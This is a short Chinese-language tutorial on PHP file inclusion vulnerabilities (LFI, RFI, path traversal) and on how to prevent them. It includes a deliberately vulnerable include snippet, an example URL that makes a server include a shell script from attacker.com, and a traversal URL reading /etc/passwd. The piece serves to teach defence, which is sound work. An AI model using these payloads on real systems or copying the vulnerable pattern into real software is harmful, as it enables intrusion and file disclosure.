PHP文件包含漏洞主要因未过滤用户输入导致,分为本地文件包含(LFI)、远程文件包含(RFI)和目录遍历三类,攻击者可借此读取敏感文件或执行恶意代码;防范措施包括使用白名单、关闭allow_url_include、严格过滤输入、避免直接拼接路径等,核心原则是不信任用户输入。

PHP 文件包含漏洞主要源于开发者在代码中动态引入文件时,未对用户输入进行严格过滤,导致攻击者可以包含恶意文件或敏感系统文件。这类漏洞分为以下几种类型:
1. 本地文件包含(LFI - Local File Inclusion)
说明:当 PHP 脚本使用 include、require、include_once 或 require_once 包含本地服务器上的文件,而文件路径由用户控制时,可能被利用读取服务器上的任意文件。
常见利用方式:
示例代码(存在漏洞):
立即学习“PHP免费学习笔记(深入)”;
$filename = $_GET['file'];include($filename . '.php');
2. 远程文件包含(RFI - Remote File Inclusion)
说明:当 PHP 配置允许远程文件包含(allow_url_include=On),且程序动态包含外部 URL 时,攻击者可指定恶意远程脚本地址,导致任意代码执行。
前提条件:
- allow_url_include = On(默认关闭)
- 输入未过滤,直接用于包含语句
示例利用:
http://example.com/index.php?file=http://attacker.com/shell.txt若目标服务器允许远程包含,就会加载并执行攻击者服务器上的脚本。
3. 目录遍历(Path Traversal)与 LFI 结合
说明:攻击者使用 ../ 绕过目录限制,访问上级目录中的敏感文件。
示例:
http://example.com/page.php?page=../../../../etc/passwd若未做路径校验,可能导致系统文件泄露。
如何防范文件包含漏洞?
- 避免将用户输入直接用于文件包含路径
- 使用白名单机制限定可包含的文件名
- 关闭危险配置:设置 allow_url_include=Off 和 allow_url_fopen=Off(如非必要)
- 对输入进行严格过滤和验证,如去除特殊字符、限制路径格式
- 使用固定映射代替直接文件名拼接,例如:
$pages = ['home' => 'home.php', 'about' => 'about.php'];
根据输入选择对应值,而非直接拼接
基本上就这些。关键在于不信任用户输入,尤其是用在文件操作中的参数。











